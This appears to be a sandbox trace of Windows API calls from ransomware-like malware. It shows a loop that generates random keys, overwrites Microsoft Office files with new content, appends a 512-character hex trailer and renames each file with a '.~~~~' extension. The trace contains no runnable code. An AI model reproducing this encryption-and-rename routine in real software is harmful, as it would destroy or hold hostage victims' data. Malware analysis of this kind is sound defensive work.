	[0121.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0121.451] GetLastError () returned 0x0
	[0121.452] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0121.453] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.453] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0121.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0121.454] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24144379751) returned 1
	[0121.454] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb1dbb4f0, dwHighDateTime=0x1d60e1e)) 
	[0121.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0121.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0121.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0121.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e258
	[0121.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e258 | out: hHeap=0x300000) returned 1
	[0121.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.455] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0121.455] GetLastError () returned 0x0
	[0121.455] GetLastError () returned 0x0
	[0121.455] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0121.455] GetLastError () returned 0x0
	[0121.455] GetLastError () returned 0x0
	[0121.461] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff43c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.461] WriteFile (in: hFile=0x130, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0xbc4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0xbc4, lpOverlapped=0x0) returned 1
	[0121.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.462] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.462] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.463] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.463] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.463] CloseHandle (hObject=0x130) returned 1
	[0121.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x2a1daa0
	[0121.465] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif.~~~~")) returned 1
	[0121.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1daa0 | out: hHeap=0x300000) returned 1
	[0121.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0121.532] GetLastError () returned 0x0
	[0121.544] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0121.545] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.545] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0121.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0121.545] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24153534911) returned 1
	[0121.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb1e9fd30, dwHighDateTime=0x1d60e1e)) 
	[0121.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0121.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0121.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0121.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e300
	[0121.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e300 | out: hHeap=0x300000) returned 1
	[0121.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eac70
	[0121.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1f98
	[0121.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0121.546] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0121.546] GetLastError () returned 0x0
	[0121.546] GetLastError () returned 0x0
	[0121.547] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0121.547] GetLastError () returned 0x0
	[0121.547] GetLastError () returned 0x0
	[0121.550] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.550] WriteFile (in: hFile=0x13c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0121.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.553] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.553] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.555] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.555] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.556] CloseHandle (hObject=0x13c) returned 1
	[0121.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ead18
	[0121.556] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx.~~~~")) returned 1
	[0121.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ead18 | out: hHeap=0x300000) returned 1
	[0121.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0121.557] GetLastError () returned 0x0
	[0121.558] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0121.559] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.559] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0121.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0121.560] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24154972911) returned 1
	[0121.560] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb1ec5e90, dwHighDateTime=0x1d60e1e)) 
	[0121.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0121.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0121.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0121.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e338
	[0121.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e338 | out: hHeap=0x300000) returned 1
	[0121.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ead18
	[0121.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1ca0
	[0121.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ead18 | out: hHeap=0x300000) returned 1
	[0121.560] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0121.561] GetLastError () returned 0x0
	[0121.561] GetLastError () returned 0x0
	[0121.561] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0121.561] GetLastError () returned 0x0
	[0121.561] GetLastError () returned 0x0
	[0121.564] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffe73ef, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.564] WriteFile (in: hFile=0x13c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x18c11, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x18c11, lpOverlapped=0x0) returned 1
	[0121.566] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.566] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.568] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.568] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.568] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.568] CloseHandle (hObject=0x13c) returned 1
	[0121.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ead18
	[0121.568] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx.~~~~")) returned 1
	[0121.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ead18 | out: hHeap=0x300000) returned 1
	[0121.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0121.569] GetLastError () returned 0x0
	[0121.570] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0121.572] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.572] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.572] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0121.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0121.572] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24156196736) returned 1
	[0121.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb1eebff0, dwHighDateTime=0x1d60e1e)) 
	[0121.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0121.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0121.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0121.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e370
	[0121.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.572] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e370 | out: hHeap=0x300000) returned 1
	[0121.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.572] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ead18
	[0121.572] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1d38
	[0121.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ead18 | out: hHeap=0x300000) returned 1
	[0121.573] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0121.573] GetLastError () returned 0x0
	[0121.573] GetLastError () returned 0x0
	[0121.573] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0121.573] GetLastError () returned 0x0
	[0121.573] GetLastError () returned 0x0
	[0121.579] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffefa0c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.579] WriteFile (in: hFile=0x13c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x105f4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x105f4, lpOverlapped=0x0) returned 1
	[0121.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.581] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.581] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.581] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.581] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.581] CloseHandle (hObject=0x13c) returned 1
	[0121.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3eac70
	[0121.587] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx.~~~~")) returned 1
	[0121.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0121.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0121.770] GetLastError () returned 0x0
	[0121.785] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0121.805] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.805] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0121.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0121.805] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24179502646) returned 1
	[0121.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb2127490, dwHighDateTime=0x1d60e1e)) 
	[0121.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0121.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0121.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0121.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e798
	[0121.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e798 | out: hHeap=0x300000) returned 1
	[0121.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eac70
	[0121.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc798
	[0121.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0121.806] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0121.806] GetLastError () returned 0x0
	[0121.806] GetLastError () returned 0x0
	[0121.806] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0121.806] GetLastError () returned 0x0
	[0121.806] GetLastError () returned 0x0
	[0121.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffecd47, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.809] WriteFile (in: hFile=0x130, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x132b9, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x132b9, lpOverlapped=0x0) returned 1
	[0121.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.811] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.811] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.811] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.811] CloseHandle (hObject=0x130) returned 1
	[0121.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3eac70
